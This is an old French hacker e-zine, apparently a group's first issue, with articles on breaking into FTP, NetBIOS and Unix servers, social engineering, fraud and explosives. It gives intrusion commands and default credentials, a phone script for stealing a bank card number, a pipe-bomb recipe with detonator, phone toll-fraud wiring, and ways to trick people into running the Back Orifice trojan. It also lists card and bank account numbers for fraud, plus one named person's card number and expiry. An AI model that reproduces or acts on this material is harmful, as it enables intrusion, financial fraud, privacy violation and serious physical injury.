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____________________________________________________________________

INTRO

____________________________________________________________________

Salut tt le monde ! Bon c notre premier zine, alors si vous avez des idées pour l'améliorer, maillez nous. Pour le moment notre group est constitué de 6 personnes :

 joker, thor, max, rockess, nikita, HanSin.

Nous cherchons à recruter toutes personnes ayant un minimum de connaissances, en hacking, cracking ou autre. Si vous êtes intéressé maillez The joker.

Voilà, espérons que notre group survivra devant la DST et tt les hébergeurs qui n'arrêtent pas de nous effacer. Je remercie tt les lecteurs de nous faire par de leurs commentaires. Si un lecteur désir écrire pour nous, il est le bien venue (qu'il nous mail). @+

www.ifrance.com/virtuel 

________________________________________________________________________________________________

Comment hacker un site web ?

________________________________________________________________________________

il y a en gros 2 cas: si le serveur est protégé et s'il ne l'ai pas.

Dans le premier cas il suffit de lancer ftp et de faire:

ftp> open victim.com

Connected to victim.com

220 victim.com FTP server ready.

ftp> quote user ftp

331 Guest login ok, send ident as password.

ftp> quote cwd ~root

530 Please login with USER and PASS.

ftp> quote pass ftp

et voila vous y êtes, plus qu'a appliquer les commandes que vous 

souhaitez.

Dans le deuxieme cas il faut utiliser un cracker de passwd ftp, vous en

trouverez à : www.ifrance.com/virtuel
vous avez besoins de savoir sur quel serveur est logé le site et c tt !

pour les gros nuls je précise que vous avez bien évidemment besoin de 

dico (fichier qui contient les passwd que le prog vas essayer)

vous tapez le nom du serveur (ex: ftp.ifrance.Com) le login du site

et vous choisissez un dico aproprié au site que vous voulez hacker.

vous lancez l'attack et le prog vous donnera gentillement le passwd.

voila ya plus ka !

________________________________________________________________________________

Netbios

________________________________________________________________________________

cette méthode est plus que connue et tres aprécier des newbies a cause

de ça simplicitée.

Mais certain me demande encore comment on fait ou on eut de fausses infos.

alors voila je réexplique une bonne fois pour toute :

il faut que votre victime est installée Netbios en gros il faut quelle ai

un résaux. Pour trouver ces machines ya deux méthodes :

1) la chance, mais je vous conseil pas vu qu'il y a a peine 3% des ordi

   qui ont netbios installer. Enfin vous pouvez toujours essayer !

2) utiliser un scanner netbios. c'est tres pratique, ça vous permet de 

   scanner des ip et de vous dire celle ou netbios est present avec leur DNS.

   vous trouverez ce programme à : http://www.ifrance.com/virtuel 

   (dans la partie downloads)

Bon ça y est, j'ai mon ip avec netbios installer sur la machine.

vous ouvrez une fenêtre dos et vous tapez:

nbtstat -a ip-victime

ensuite editer un fichier lmhost en minuscules et sans extension dans le

quel vous marquez: ip nom #pre

retournez sous DOS et tapez: nbtstat -R

puis: net view \\nom

la vous obtiendrez les disques partagés de la machine victime.

ensuite tapez: net use \\nom\lecteur

et voila vous y etes, vous pouvez utiliser toutes les resources partagées.

Ecrit par THE JOKER

________________________________________________________________________________

Accèder aux différent lecteur dans un lieu publique

________________________________________________________________________________

Dans certains lieux (lycée; bibliothèque; entreprise; expo; etc...) qui

présentent Internet, l'accès aux lecteurs est souvent bloqué (souvent pour

de bonnes raisons). Rien de plus simple pour y accéder, il vous suffit,

dans le Browser, de taper dans le champs destiné aux adresses URL le nom

du lecteur que vous voulez utiliser.

Généralement c'est:

A:/ pour le lecteur de disquettes.

C:/ pour le disque dur.

D:/ pour le CD-ROM.

Validez par "Entrée" et voilà!! le tour est joué.

Ecrit par THE JOKER

________________________________________________________________________________

Hacker un serveur Unix

________________________________________________________________________________

Bon la on passe la vitesse supérieur (newbies s'abstenir). Je considère

que vous connaissez unix et que vous savez vous débrouiller avec les commandes de bases. Sinon je vous renvoi aux différents bouquins qui  existent sur sujet.

bon hacker un serveur unix reviens a dire que l'on veut etre superuser. pour cela il faut le passwd de celui ci. pour trouver ce pass on peut essayer les pass par default sous unix ou choper le fichier ect\passwd. les pass par default sont: (vous les essayés par ftp ou telnet)

(login) root: (password)root

sys: sys / system / bin

bin: sys / bin

mountfsys: mountfsys

adm: adm

uucp: uucp

nuucp: anon

anon: anon

user: user

games: games

install: install

demo: demo

umountfsys: umountfsys

sync: sync

admin: admin

guest: guest

daemon: daemon

bon si tout ça ne marche pas, vous aller avoir besoin d'infos sur votre cible. Savoir sous quoi bosse votre victime, les progz quel utilise. Scanner les different ports pour savoir si la victime a un serveur ftp (port 21), a telnet (23), un serveur de mail ect... vous pouvez envoyer un mail bidon (koko@victime.com) vous recevrez des infos interessantes sur le serveur en retour. Enfin rassembler le plus d'info possible sur votre cible. Apres il faut les exploitées en utilisant les exploits. vous essayez de trouver les exploits qui correspondent avec votre victime, en gros il

faut utiliser les failles du systeme pour y rentrer et choper etc/passwd

les failles sont nombreuses et varies selon la machine que vous voulez attaquer. Je ne vais que les cité et je vous renvois aux différents zines qui existe sur le sujet si vous voulez en savoir plus.

il y a : sendmail (mais les nvlles versions ont été corrigé)

phf (mais yen a presque plus)

cgi (yen a presque plus)

tftp (sur le port 69a) 

finger


nfs

et surement pleins d'autres que j'ai oublier ou que je connais pas.

Je vous renvoi a www.rootshell.com  pour trouver des exploits.

Voila, maintenant vous devriez avoir downloader le fichier passwd. et maintenant ya deux cas soit vous etes chanceux et vous avez un truc du genre:

root:2fkbNba29uWys:0:1:Operator:/:/bin/csh

admin:rYsKMjnvRppro:100:11:WWW 

administrator:/home/Common/WWW:/bin/csh

kangaroo:3A62i9qr:1012:10:Hisaharu

et la ya plus que décripter les pass ! avec les nombreux progs qui traine sur le net, vous aurez pas de mal! le plus connu est  Cracker Jack mais le meilleur est John the Ripper 1.5.

Ou vous avez un truc comme ça:

root:*:0:1:Operator:/:/bin/csh

admin:*:100:11:WWW 

administrator:/home/Common/WWW:/bin/csh

kangaroo:*:1012:10:Hisaharu 

TANAKA:/home/user/kangaroo:/usr/local/bin/tcsh

si la section du pass est former par des * ou x c'est que le fichier 

est shadowed, et c'est plutot mauvais signe !

Pas possible de trouver le pass, mais chercher un peu sur le net, dans

les differents zines qui sorte, ya peut etre une technique ?????!!!

Des que j'ai des infos je vous les donnerai dans un prochain zine !

voila c tt, c fini ! je vais aller me coucher parcequ'il est tard et

qu'il faut que je me leve tot pour aller en cours !

@+

écrit par THE JOKER 

________________________________________________________________________________

IP spoofing

________________________________________________________________________________

e vais, dans cette rubrique, vous montrer comment spoofer sa connexion. Pour les incultes, 

spoofer veut dire cacher son IP, on l'appelle aussi IP Spoofing.

Avec Internet Explorer 5:

Faites:

> Outils

> Options Internet

> Connexions

> Paramètres LAN

> Utiliser un serveur proxy, et entrer l'adresse du proxy et le port (voir la liste)

Avec Netscape Communicator 4.5:

Faites:

> Edition

> Préférences

> Avancées

> Proxy

> Configuration manuelle

> Afficher, et entrer l'adresse du proxy et le port.

Comment se fait-il donc que passer par un proxy cache mon IP ???

Voici un petit schéma:

VOUS========>PROXY========>CIBLE

En vous rendant sur un site, au lieu que ce soit votre PC qui demande l'accès au site, c'est le

proxy qui le fait pour vous. On peut encore rajouter une sécurité supplémentaire pour être encore

 mieux protégé, c'est passer aussi par un anonymiser.

Voici un petit schéma:

VOUS=========>PROXY=========>ANONYMISER=========>CIBLE

Vous aurez donc compris, je l'espère, que plus il y a d'intermédiaires entre vous et la cible,

plus vous êtes protégés. En ce qui concerne l'anonymiser, c'est malheureusement payant, mais si

vous êtes intéressés, l'adresse est: www.anonymiser.com

Voici maintenant une liste de Proxys:

blue.pompano.net : 8080

kashi.elec.fuk.kindai.ac.jp : 8080

softy.poptel.org.uk : 8080

caligula.flash.net : 8080

www-cache.mppmu.mpg.de : 3128

s2.optonline.net : 8080

www.thefourthr-fw.com : 8080

q.netunlimited.net : 80

cache01.pathcom.com : 8080

lino.privacy.fgov.be : 80

Article proposé par Thor

www.hackerz.fr.fm 

________________________________________________________________________________

TCP/IP

________________________________________________________________________________

Avant tout je tiens à remercier Joker,mon mentor :),qui ne refuse jamais de repondre a une 

question j'espere encore faire beaucoup de progres avec lui ..Et salut à tt le group aussi 

Bon dans ce petit texte jvais vous parler un peu du protocole a la base d'internet:tcp/ip

Y a deux aspects pour ce protocole: d'abord comprendre son fonctionnementet ensuite 

en tirer partie pour la sécurité :)

Vous comprendrez que ce protocole peut facilement etre utilisé pour des attaques

1.Communication entre 2 ordis

2.Structure des paquets IP

3.Remarques

1.

Alors z'avez deux ordis : A et B (original non ? :))

A veut communiquer avec B : les deux ordis utilisent une partie de leur systeme reseau :la

couche TCP.Le dialogue va donc s'etablir entre TCP A et TCP B

-TCP A envoie un paquet syn (demande de synchronisation :j'expliquerai ca une autre fois mais

en gros c que pour les 2 ordis se mettent d'accord sur les parties du flot de paquet qu'ils 

vont lire...).Ce message contient les ip source et cible,le numero de sequence de A.

-TCP B recoie la requete et renvoie un message d'acquittement :un message ACK avec en plus le 

numero de sequence de A incrementé de un.Donc de TCP B part un SYN/ACK

-TCP A recoit le SYN/ACK et renvoie un autre message ACK pour confirmer qu'il a recu le paquet SYN/ACK

de TCP B

2.

Chaque paquet IP a sa propre structure:

-en tete IP

-Adresse source

-Adresse destination 

-Données à transmettre

Donc la sans entrer dans le detail vous pouvez commencer à faire marcher vos chtits cerveaux

(arf y sont gros ???? :))et capter comment deux ordis peuvent se reconnaitre.....bon c 

général je know mais faut que ca se structure ds vos esprits de newbies( :) arf jdeconne !

j'ai po le tps en fait !!!)

3.

une premiere application que vous connaissez surement est le ping flood

Mais qu'est ce que le ping flood ?????

De son vrai nom TCP SYN flooding cela va consister a envoyer de nombreux messages SYN à un ordi cible

ce qui va creer des sortes de demi connections chez l'ordi cible (car il repond pas directement au message syn y a un chtit tps qui s'appelle 

le lag...).Et ainsi l'ordi sature et il plante !!! (ca marche et pour les ordis persos et pour les serveurs mais pour les deuxiemes y a des protects dont 

je vs parlerai ...).C ce qui c passé il y a pas si longtemps lorsque le serveur de yahoo a été 

non disponible pendant plusieurs heures....

Mais vous me direz : comment j'envoie des paquets a ce serveur pour le faire planter ????

Eh eh attendez quelques années !!!! mais sachez que tout ce qui s'écrit dans le protocole TCP 

IP est écrit sous la forme de prog en C donc METTEZ VOUS AU c !!!

Voili voilou jvais vous laisser et n'hésitez pas pour vos questions !  

Ecrit par HanSin

________________________________________________________________________________

Social Engineering

________________________________________________________________________________

le Social Engineering (SE) pour ceux qui connaîssent pas encore, c'est l'art de se faire passer

pour quelqu'un d'autre, afin de lui tirer des infos normalement confidentielles. Bon, comme c'

très connu, je vais pas vous emmerder très longtemps avec ça. Le SE peut se faire par téléphone ou par mail (j'ai hacké quelques abrutis avec ça)

Je vais ici vous donner un exemple de SE par tél pour récuperer un # de CB.

Cherchez dans l'annuaire quelques noms de personnes étant le plus éloignés possible d'une grande

ville de votre région (la ville de votre préfécture par ex). Appelez-la.

vous: Bonjour Madame Pauv'tâche, je suis Monsieur Verdier, responsable du Service Anti-Fraudes

par Cartes Bancaires, je vous appelle, car apparemment, votre numéro de carte bancaire aurait été utilisé à des fins frauduleuses.

abruti: Ah bon ??? (l'abruti commence déjà à paniquer)

vous: Oui, il aurait notamment servi à faire des achats de plus de 13 500 F. C'est pourquoi vous

êtes convoquée dans nos services demain à 9 h 30 à "nom_de_la_ville_choisie", pour que nous

puissions vérifier votre numéro de carte.

abruti: Mais demain je peux pas, je travaille, et en plus j'habite à 150 km de vos bureaux ! (non

seulement l'abruti est sous le choc de la dépense, mais en plus, il est emmerdé par le RDV)

vous: Mais Madame, il est impératif que nous véifions votre numéro pour être sûr que ce soit réellement votre carte qui a été utilisée pour cette dépense à votre insue.

abruti: Mais je peux pas du tout me déplacer ! Y a pas un autre moyen ???

vous: Dans ce cas, le seul moyen est de téléphoner aus service de vérification au:

"numéro_de_la_cabine_à_côté_de_la_vôtre"

abruti: Ah bon, je vous remercie de m'avoir averti, au revoir !

vous: Au revoir !

Là, c'est presque bon, vous n'avez plus besoin que d'1 complice (une fille de préférence, on 

se méfie moins) pour récupérer le # de sa CB.

complice: Service anti-fraudes bonjour !

abruti: Bonjour madame, je vous téléphone car une fraude aurait été commise avec ma CB, et on doit vérifier son #.

complice: Quel est votre nom ?

abruti: Madame Pauv'tâche.

complice: D'accord, j'ai maintenant besoin de votre numéro de carte bancaire et de sa date d'expiration pour vérifier dans mon ordinateur.

abruti: XXXX.XXXX.XXXX.XXXX et la date est: 12/00

complice: Alors je vérifie (et quelques secondes plus tard...) Non, je vous rassure, votre carte

n'a pas été débitée à votre insue. pour le reste, c de l'impro... [au revoir, merci, etc...]

Maintenant que vous avez le #, faites pas le con avec, c pas bien, ya des générateurs qui emmerdent

personne, eux... ;-))

 Article proposé par Thor 
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________________________________________________________________________________

Anarchie

________________________________________________________________________________

Avant de commencer, je voudrais tout d'abord vous avertir des dangers de l'explosif. Tout le monde le sait, les explosifs sont TRES dangereux !!! Alors si malgré cet avertissement, vous décidez tout de même de fabriquer de l'explosif, c'est à vos risques et périls !!! Cet article à pour seul but de vous informer, et pas de faire de vous des terroristes !!! Si en faisant une bombe, vous vous faites sauter une jambe ou un bras, faudra pas venir chialer !! Vous avez voulu faire une bombe, vous vous démerdez, je ne suis pas responsable de vos conneries !!! Vous assumez seul vos actes !!! J'espère que c'est bien compris et qu'il y aura pas de réclamations !!! On peut maintenant commencer !!!

Matériel nécessaire:

>chlorate de soude (magasin de jardinage, environ 52 F/5kg)

>sucre glace (supermarchés, environ 7.50 F/500g)

Introduction:

Tout le monde a sûrement déjà fait cette petite constatation. Lorsqu'on allu-

me un pétard, il explose (c'est logique !), mais lorsque on ouvre ce même pétard, la poudre qui se trouve à l'intérieur brûle, sans exploser.

Pourquoi ? Tout simplement parce que quand le pétard n'est pas ouvert, il n'y

a pas de dioxygène en contact avec la poudre. En effet, la poudre brûle avec

le dioxygène de l'air.

L'explosif que nous allons fabriquer est un mélange de chlorate de soude et de sucre glace. Ce mélange formera une espèce de poudre, qui se comportera de la même façon que la poudre à pétard. MAIS ATTENTION !!! La poudre à pétard à côté de ce mélange, c'est vraiment de la rigolade. Quand votre bombe sera prête, et que vous la ferez sauter, vous allez vraiment être surpris par l'énorme déflagration. Le bruit de la détonation d'une arme à feu n'est rien du tout à côté de cette bombe artisanale, ça ressemble plutôt au bruit d'un obus, et je n'exagère pas !!! Alors faites TRES TRES ATTENTION !!!!

Fabrication:

Pour que cette bombe pète le plus fort possible, il faut impérativement que 

les réactifs soient dans les proportions stoechiométriques (ça sert la chimie

au lycée ;-)). Pour que les réactifs soient dans ces proportions il faut mélanger 2/3 de sucre glace avec 1/3 de chlorate de soude.

Versez donc dans un bol deux parts de sucre glace et une part de chlorate de soude. Si vous voulez faire une plus grosse bombe, augmentez les doses en respectant les proprotions (2/3 pour 1/3), et mélangez bien afin d'obtenir un mélange plus ou moins homogène.

Pour obtenir un explosif encore plus puissant, vous pouvez humidifier votre mé-

lange afin d'obtenir une pâte, mais ATTENTION, versez l'eau au goutte à goutte.

Il ne faut pas que le mélange soit coulant, il doit seulement être légèrement humide, donc si il coule, remettez un peu de chlo + sucre.

ATTENTION !!!

A partir du moment où vous avez fait ce mélange, la bombe devient opérationnelle !!! Et contrairement aux explosifs professionnels, les bombes amateurs sont très instables !!! Le mélange pète à partir de 50°C, le mélange est donc sensible aux chocs ==> un choc provoque un échauffement, alors faites gaffe !!

Maintenant que votre explosif est prêt, prenez votre tube (en plastic très dur, ou

en cuivre), et mettez votre explosif à l'intérieur en prenant soin de le tasser le 

plus possible. Il faut absolument que votre tube soi déjà fermé d'un côté et qu'on

puisse le fermer de l'autre, et il faut qu'il soit fermé le plus hermètiquement et

le plus solidement possible une fois votre explosif mis à l'intérieur !!!Une fois 

tout ça bien fait, passons au détonateur.

Pour le détonateur, il suffit de prendre une résistance capable de fondre ou de péter

avec une intensité pas trop importante, ou bien de prendre des allumeurs de fusées,

ça se vend dans les magasins de modélisme, et y a un allumage électrique avec, mais , je n'ai jamais essayé, alors j'suis pas sûr que ça marche.

Un petit conseil aux abrutis qui voudraient s'amuser à transformer cette bombe

déjà hyper-mortelle en grenade, en ajoutant au mélange des copeaux de fer, des

billes de fer, ou du verre, NE LE FAITES SURTOUT PAS !!!! Ca n'a aucun intérêt, et en plus, ça multiplie par 10 le risque de provoquer un GRAVE accident!!

Les projectiles seront projetés partout et à très grande vitesse !!!

Dernière chose: si vous avez quelques connaissances en électronique, vous n'aurez pas de mal à vous fabriquer un détonateur électrique, en cherchant même un peu, vous trouverez des montages sur le Net.

Dans le prochain # de ce zine, je vous parlerai du plastic.

Article proposé par Thor
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_______________________________________________________________________________

Black Box
______________________________________________________________________________

Tout d'abord, qu'est-ce que le phreaking ? Ce mot est la contraction de Phone + Freaking, qui veut dire fraude par téléphone, son but est donc bien sûr de téléphoner gratos ;-)) (bien fait pour Fuck Telepute)

je vais dans cet article vous parler du black boxing qui est l'art de pas faire payer celui qui vous appelle, ça peut vous paraître complètement débile,sauf si vous refilez la technique à vos amis.

Il s'agit en fait d'un simple petit montage électronique que n'importe quel sous-débile qui

une fois dans sa vie a participé à un cours de physique comprendra.

Prenez votre téléphone, et placez-le devant vous, la prise à gauche et le tél à droite. Enlevez avec soin la gaine qui recouvre les fils. Coupez un des deux fils, et colmatez la brèche par une résistance d'1.8 kOhm, puis par une DEL (diode électroluminescente). Ensuite, il suffit de placer un intérupteur en dérivation à cette résistance et cette DEL, et de l'ouvrir que lorsque quelqu'un vous appelle. ATTENTION !!! Dans les grandes villes, FT peut détecter ce montage !

Si vous n'avez malheureusement pas compris cet article, eh bien sachez qu'il fallait tout simple-

ment aller à l'école un peu plus souvent, bandes de branleurs !!!

Article proposé par Thor
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_______________________________________________________________________________
BANK

________________________________________________________________________________

Tous ces numéro de cartes et de comptes sont valables et sont calculer par un générateur (pour ceux qui en aurai pas !! ou pour les grosses fégnaces !!)

N° de cartes:

citibank

visa
4013-5447-8131-7011

bank of america 
visa
4019-6960-1767-6151

corestates

visa
4239-5049-2883-3270

first chicago bank
visa
4250-0416-2067-4501

H.H.B.C.

visa
4302-1992-1050-8529

B.C.F.U.

visa
4310-7881-7973-9992

first atlanta

visa
4327-2842-1357-1361

N° comptes:

	banque
	guichet
	N°compte
	RIB

	40859
	39921
	89907190441
	54

	51334
	77792
	16469211504
	21

	28157
	87157
	34593331471
	70

	22073
	02664
	99150018828
	80

	80245
	91501
	27980390054
	23

	76337
	54249
	86857900647
	66


 autre N°:

4428 3715 5137 4136 -> ViSA CARD (bank of hoven)

4428 2132 3532 1366 -> ViSA CARD ("")

4428 7523 8553 2074 -> ViSA CARD ("")

4428 2553 2210 7604 -> ViSA CARD ("")

4428 2250 6518 4334 -> ViSA CARD ("")

4428 6265 5863 0545 -> ViSA CARD ("")

4428 0472 8075 8506 -> ViSA CARD ("")

4428 6100 2501 0531 -> ViSA CARD ("")

4428 0887 5735 5012 -> ViSA CARD ("")

4428 0540 2284 2150 -> ViSA CARD ("")

5255 0053 8757 7273 -> EUROCARD/MASTERCARD/ACCESS (1)

5235 5470 2610 7074 -> EUROCARD/MASTERCARD/ACCESS (2)

5223 8874 7087 4835 -> EUROCARD/MASTERCARD/ACCESS (3)

5240 4188 7022 4105 -> EUROCARD/MASTERCARD/ACCESS (4)

5038 4352 8475 1107 -> EUROCARD/MASTERCARD/ACCESS (5)

5474 4083 4105 3123 -> EUROCARD/MASTERCARD/ACCESS (6)

5471 1116 6254 2731 -> EUROCARD/MASTERCARD/ACCESS (7)

5633 5474 2666 8665 -> EUROCARD/MASTERCARD/ACCESS (8)

5562 2357 3876 8432 -> EUROCARD/MASTERCARD/ACCESS (9)

5581 3381 1472 7613 -> EUROCARD/MASTERCARD/ACCESS (10)

6650 8704 3477 7054 -> DiSCOVERCARD (1)

6500 2178 3078 2761 -> DiSCOVERCARD (2)

6355 4453 2755 3066 -> DiSCOVERCARD (3)

6657 0856 4783 0045 -> DiSCOVERCARD (4)

6378 4317 7510 6634 -> DiSCOVERCARD (5)

6058 6534 6677 1643 -> DiSCOVERCARD (6)

6406 8806 7811 0703 -> DiSCOVERCARD (7)

6802 2458 2273 2036 -> DiSCOVERCARD (8)

6567 8233 0667 8472 -> DiSCOVERCARD (9)

6653 2861 6316 2748 -> DiSCOVERCARD (10)

38811 8751 43584 -> CARTE BLANCHE (1)

38114 0855 70716 -> CARTE BLANCHE (2)

38608 4565 26066 -> CARTE BLANCHE (3)

38373 7146 56615 -> CARTE BLANCHE (4)

38535 7236 76772 -> CARTE BLANCHE (5)

38378 7485 68447 -> CARTE BLANCHE (6)

38756 2475 48707 -> CARTE BLANCHE (7)

38165 5186 88368 -> CARTE BLANCHE (8)

38345 7578 13675 -> CARTE BLANCHE (9)

38125 0313 50235 -> CARTE BLANCHE (10)

3734 231573 42281 -> AMERiCAN EXPRESS (1)

3773 141604 78707 -> AMERiCAN EXPRESS (2)

3776 563372 47088 -> AMERiCAN EXPRESS (3)

3722 815354 77075 -> AMERiCAN EXPRESS (4)

3782 134610 25275 -> AMERiCAN EXPRESS (5)

3735 066750 37621 -> AMERiCAN EXPRESS (6)

3740 563066 33413 -> AMERiCAN EXPRESS (7)

3757 864281 78520 -> AMERiCAN EXPRESS (8)

3737 864770 47487 -> AMERiCAN EXPRESS (9)

3784 713400 53062 -> AMERiCAN EXPRESS (10)

Voila C tout pour le moment, c numéro marcherons pour vous abonner a des sites de cul, mais pas pour acheter des trucs a la fnac !! pour ça il faut le nom qui va avec ! dans un prochain zine je donnerai les nom et n° de CB qui vont avec ! voila un petit avant goût : 

Me LINI YVETTE 

4978 4000 3252 3245  

06/01

bon vous inquietez pas si ça marche pas !, comme tt le monde vas se jeter sur ce numéro, la madame vas vite comprendre et annulé sa carte. Seul les plus rapide pourront l’utilisée !!

________________________________________________________________________________

BO

________________________________________________________________________________

Comment infecter un gas? 

Vous vous êtes sûrement déjà demander comment vous pourrez faire pour que ce connard soit infecter, alors voilà qq techniques :

1) Vous aller sur icq ou irc et vous trouvez une chanel de hacking, vous faites en sorte qu'il y ai des lamers. Là on vas surement vous demander des progs, les lamers ne cherche que ça!!

Vous l'avez compris, qd vous envoyer un prog, vous envoyez en fait BO renommer avec le nom du prog. Voilà le gas est infecté ! il ne vous reste plus qu'a chopper l'IP du gas, pour ça il existe pleins de progs (pour icq) vous taper l'UIN et vous obtiendrez l'IP. Il ne vous reste plus qu'a vous amusez !!

2) Vous allez sur une chanel où ya pleins de gas, vous prenez un nickname du style "ofélie" ou un truc du genre (bien sexy) et vous vous débrouillez pour envoyer une photo. Vous zipez la photo et vous mettez BO avec. Vous renommer l'exe, du style "XXX" ou "cul" enfin vous avez compris. Vous mettez une photo bidon et voilà! Vous êtes casiment sûr que le gas exécutera BO. Pour l'IP c toujours pareil.

Voilà c tout, dans un prochain zine j'expliquerai comment fonctionne BO. @+

________________________________________________________________________________

CB

________________________________________________________________________________

Cet article viens tt droit de NO-WAY écrit par D. O'CONNELL. j'ai trouvé qu'il était bien fait, très simple et qu'il donnait de bonne bases, alors le voilà :

I Généralitées:

Une carte bancaire est un moyen de paiement électronique, pour ce faire on

dispose de trois solutions, la puce de la carte, les pistes magnétiques ou

simplement le numéro de carte en cas de télépaiement (pour les ignares  ça

veux dire paiement à distance).

Le plus sur des moyens étant l'interrogation de la puce, c'est ce  qui est

utilisé pour les paiements en magasin quand vous tapez votre code.

Les pistes  magnétiques  sont  interrogées  lors d' un retrait dans un DAB

(Distributeur Automatique de Billets) sans vérification de la puce.

Le numero de carte est utilisé par les anciens "terminaux" dit fer à repasser

où l'embossage de la carte était tranféré par carbonne et pour les prises de

commande par téléphone.

II Les pistes magnétiques

Les cartes VISA comportent plusieurs pistes le standard ISO en definie 3, les

cartes françaises en utilisent 4 ISO1, ISO2, et 2 autres propre à la France

T2, et T3 bravo la normalisation... Cependant pour des raisons de compatilitée

et de coût une seule et utilisée à la fois généralement ISO2 mais parfois ISO1

dans les anciens terminaux.

Les informations sont codées en bi-phase le mieux étant de voir le dessin pour

comprendre:

Signal       +---+   +---+       +-+ +-+ +   +---+ +-+   +-+ +---+


     +   +---+   +       + +-+ +-+   +   +-+ +---+ +-+   +

Valeur      0   0   0           1   1       0   1   0   1   0

Simple non ?? Le bit est codé suivant deux fréquence la fréquence pour le 1

étant deux fois celle du 0.

Un prochain article intégrera je l'espère le schéma d'un lecteur/écriveur de

piste magnétique, sachez qu'une tête magnétique de magnétophone fait trés bien

l'affaire pour la lecture.

Bon maintenant il faut encore savoir comment interpréter les bits lus, il y a

deux standard pour cela:

-ANSI/ISO BCD FORMAT

BCD signifie Binary Coded Decimal ou Decimal Codé Binaire, le code est sur 5

bits 4 d'information et un de parité. La parité est impaire cela signifie que

chaque mot de 5 bits doit comporter un nombre IMPAIRE de 1.

La lecture commence, contre toute logique, par le bit le moins significatif!!

----DONNEES----   Parité

b1  b2   b3  b4     b5      Caractère     Fonction

0   0    0   0      1           0           Donnée

1   0    0   0      0           1             "

0   1    0   0      0           2             "

1   1    0   0      1           3             "

0   0    1   0      0           4             "

1   0    1   0      1           5             "

0   1    1   0      1           6             "

1   1    1   0      0           7             "

0   0    0   1      0           8             "

1   0    0   1      1           9             "

0   1    0   1      1           :           Control

1   1    0   1      0           ;            Start

0   0    1   1      1           <           Control

1   0    1   1      0           =          Séparateur

0   1    1   1      0           >           Control

1   1    1   1      1           ?             Fin

Voici donc un code purement numérique, pas évident pour écrire un nom! Mais

voici ZORO avec son ANSI/ISO ALPHA FORMAT:


 --------Données-------   Parité


 b1  b2  b3  b4  b5  b6     b7    Caractère   Fonction


  0   0   0   0   0   0     1     espace (0H) Spécial


  1   0   0   0   0   0     0        ! (1H)      "


  0   1   0   0   0   0     0        " (2H)      "


  1   1   0   0   0   0     1        # (3H)      "


  0   0   1   0   0   0     0        $ (4H)      "


  1   0   1   0   0   0     1        % (5H)    Start


  0   1   1   0   0   0     1        & (6H)   Spécial


  1   1   1   0   0   0     0        ' (7H)      "


  0   0   0   1   0   0     0        ( (8H)      "


  1   0   0   1   0   0     1        ) (9H)      "


  0   1   0   1   0   0     1        * (AH)      "


  1   1   0   1   0   0     0        + (BH)      "


  0   0   1   1   0   0     1        , (CH)      "


  1   0   1   1   0   0     0        - (DH)      "


  0   1   1   1   0   0     0        . (EH)      "


  1   1   1   1   0   0     1        / (FH)      "


  0   0   0   0   1   0     0        0 (10H)   Données


  1   0   0   0   1   0     1        1 (11H)     "


  0   1   0   0   1   0     1        2 (12H)     "


  1   1   0   0   1   0     0        3 (13H)     "


  0   0   1   0   1   0     1        4 (14H)     "


  1   0   1   0   1   0     0        5 (15H)     "


  0   1   1   0   1   0     0        6 (16H)     "


  1   1   1   0   1   0     1        7 (17H)     "


  0   0   0   1   1   0     1        8 (18H)     "


  1   0   0   1   1   0     0        9 (19H)     "


  0   1   0   1   1   0     0        : (1AH)   Spécial


  1   1   0   1   1   0     1        ; (1BH)      "


  0   0   1   1   1   0     0        < (1CH)      "


  1   0   1   1   1   0     1        = (1DH)      "


  0   1   1   1   1   0     1        > (1EH)      "


  1   1   1   1   1   0     0        ? (1FH)     FIN


  0   0   0   0   0   1     0        @ (20H)   Spécial


  1   0   0   0   0   1     1        A (21H)   Données


  0   1   0   0   0   1     1        B (22H)     "


  1   1   0   0   0   1     0        C (23H)     "


  0   0   1   0   0   1     1        D (24H)     "


  1   0   1   0   0   1     0        E (25H)     "


  0   1   1   0   0   1     0        F (26H)     "


  1   1   1   0   0   1     1        G (27H)     "


  0   0   0   1   0   1     1        H (28H)     "


  1   0   0   1   0   1     0        I (29H)     "


  0   1   0   1   0   1     0        J (2AH)     "


  1   1   0   1   0   1     1        K (2BH)     "


  0   0   1   1   0   1     0        L (2CH)     "


  1   0   1   1   0   1     1        M (2DH)     "


  0   1   1   1   0   1     1        N (2EH)     "


  1   1   1   1   0   1     0        O (2FH)     "


  0   0   0   0   1   1     1        P (30H)     "


  1   0   0   0   1   1     0        Q (31H)     "


  0   1   0   0   1   1     0        R (32H)     "


  1   1   0   0   1   1     1        S (33H)     "


  0   0   1   0   1   1     0        T (34H)     "


  1   0   1   0   1   1     1        U (35H)     "


  0   1   1   0   1   1     1        V (36H)     "


  1   1   1   0   1   1     0        W (37H)     "


  0   0   0   1   1   1     0        X (38H)     "


  1   0   0   1   1   1     1        Y (39H)     "


  0   1   0   1   1   1     1        Z (3AH)     "


  1   1   0   1   1   1     0        [ (3BH)    Spécial


  0   0   1   1   1   1     1        \ (3DH)    Spécial


  1   0   1   1   1   1     0        ] (3EH)    Spécial


  0   1   1   1   1   1     0        ^ (3FH)   Separateur


  1   1   1   1   1   1     1        _ (40H)    Spécial

Ouf voila la parité est toujours impaire, et on continue à lire le LSB en

premier.

On va maintenant s'interesser au données contenues dans dans les pistes ISO1,

et ISO2:

Les pistes T2 et T3 des cartes française 'seraient' un redit des informations

des pistes ISO2 et ISO3, cette information est non vérifiée si vous avez des

renseignements....

Numero de la carte      -> 1111 2222 3333 4444

Date d'expiration       -> 12/99

Piste 2 (BCD,75 bpi)-> ;1111222233334444=9912101xxxxxxxxxxxxx?

Piste 1 (ALPHA,210 bpi)-> %B1111222233334444^PUBLIC/JOHN^9912101xxxxxxxxxxxxx?

PISTE 1

 Champ #   Longueur  Fonction

 -------   --------  --------

 1         1         Start Sentinel (STX)

 2         1         Format Code

 3         13/16     Numero de la carte

 4         1         Separateur (^) HEX 5E

 5         2-26      Nom du porteur

 6         1         Separateur (^) HEX 5E

 7         4         Date d'expiration MMAA

 8         3         CODE ??? 101 ou 000 pas d'info

 9         0/5       Verification du code secret

 10                  Depend de 3, 5, 9

 11        11        Réservé

 12        1         FIN (ETX)

 13        1         LRC

    Longueur maximum  79 Caractères

 Champ #   Longueur     Fonction

 -------   --------     -------------

    1         1         Start Sentinel (STX)

    2         13/16     Numero de carte

    3         1         Separateurr (=) HEX 3D

    4         4         Date d'expiration MMAA

    5         3         Code ??? 101 ou 000 pas d'info

    6         0/5       Vérification du code secret

    7                   Depend de 2, 6

    8         1         Fin (ETX)

    9         1         LRC

LRC est une sorte de checksum qui est calculé en faisant un XOR sur tout les

caractères précédents sauf STX.

